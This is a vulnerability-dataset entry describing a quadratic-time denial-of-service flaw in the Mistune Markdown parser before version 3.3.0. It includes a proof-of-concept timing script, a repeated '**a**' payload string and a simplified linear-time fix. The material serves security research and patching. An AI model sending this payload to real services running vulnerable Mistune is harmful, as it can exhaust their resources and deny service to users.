VAITP Dataset

← Back to the dataset

CVE-2026-59925

Mistune DoS due to inefficient parsing of crafted emphasis markers.

  • CVSS 7.5
  • CWE-407
  • Resource Management
  • Remote

Mistune is a Python Markdown parser with renderers and plugins. Prior to 3.3.0, long sequences of well-formed double-asterisk or triple-asterisk emphasis pairs around a character cause quadratic work in src/mistune/inline_parser.py because the parser scans forward for matching close markers from every potential opening run, allowing denial of service in default Mistune parsing. This issue is fixed in version 3.3.0.

CVSS base score
7.5
Published
2026-07-08
OWASP
A04 Insecure Design
Orthogonal defect classification
Algorithm
Code defect classification
Incorrect Algorithm
Category
Resource Management
Subcategory
Resource Exhaustion
Accessibility scope
Remote
Impact
Denial of Service (DoS)
Affected component
Mistune
Fixed by upgrading
Yes

Solution

Upgrade `mistune` to version 3.3.0 or later.

Vulnerable code sample

import mistune
import time

# This example requires a vulnerable version of mistune (e.g., pip install "mistune<3.3.0")
# On patched versions (>=3.3.0), this code will execute almost instantly.
# On vulnerable versions, it will take a very long time due to quadratic complexity.

n = 30000
# The payload consists of a long sequence of well-formed emphasis pairs.
# Each '**' forces the vulnerable parser to scan forward, leading to O(n^2) behavior.
payload = "**a**" * n

print(f"Generated a payload of {len(payload)} characters.")
print("Attempting to parse the payload. This will be slow on vulnerable versions.")

start = time.time()
mistune.markdown(payload)
end = time.time()

print(f"Parsing completed in {end - start:.4f} seconds.")

Patched code sample

def fixed_emphasis_parser(text: str):
    """
    This function demonstrates the principle of the linear-time fix for the
    vulnerability.

    The vulnerable method would re-scan the string forward from each potential
    opening marker ('**'), leading to quadratic (O(n^2)) behavior. This fixed
    approach scans the string only once, using a stack to track opening markers
    and pairing them with closers. This results in linear (O(n)) time complexity,
    preventing a denial of service.
    """
    # A stack to hold the indices of opening '**' markers.
    opener_stack = []
    i = 0

    # A single pass over the string to find and pair markers.
    while i < len(text):
        if text.startswith('**', i):
            # Simplified logic: a real parser validates markers based on
            # surrounding whitespace.

            # If the stack has an unmatched opener, this is a closer.
            if opener_stack:
                # Pair found. Pop the last opener from the stack.
                opener_stack.pop()
            # Otherwise, this is a new opener.
            else:
                opener_stack.append(i)

            # Advance index past the '**' marker.
            i += 2
        else:
            # Advance index by one character.
            i += 1
    # After the single pass, any remaining items in opener_stack represent
    # unclosed tags. This efficient algorithm avoids the costly re-scans
    # of the vulnerable version.

Payload

"**a** " * 50000

Cite this entry

@misc{vaitp:cve202659925,
  title        = {{Mistune DoS due to inefficient parsing of crafted emphasis markers.}},
  author       = {Bogaerts, Fr\'ed\'eric and Ivaki, Naghmeh and Fonseca, Jos\'e},
  year         = {2026},
  note         = {VAITP Python Vulnerability Dataset, entry CVE-2026-59925},
  howpublished = {\url{https://netpack.pt/vaitp/vulnerability/CVE-2026-59925/}}
}
Introducing the "VAITP dataset": a specialized repository of Python vulnerabilities and patches, meticulously compiled for the use of the security research community. As Python's prominence grows, understanding and addressing potential security vulnerabilities become crucial. Crafted by and for the cybersecurity community, this dataset offers a valuable resource for researchers, analysts, and developers to analyze and mitigate the security risks associated with Python. Through the comprehensive exploration of vulnerabilities and corresponding patches, the VAITP dataset fosters a safer and more resilient Python ecosystem, encouraging collaborative advancements in programming security.

The supreme art of war is to subdue the enemy without fighting.

Sun Tzu – “The Art of War”

:: Shaping the future through research and ingenuity ::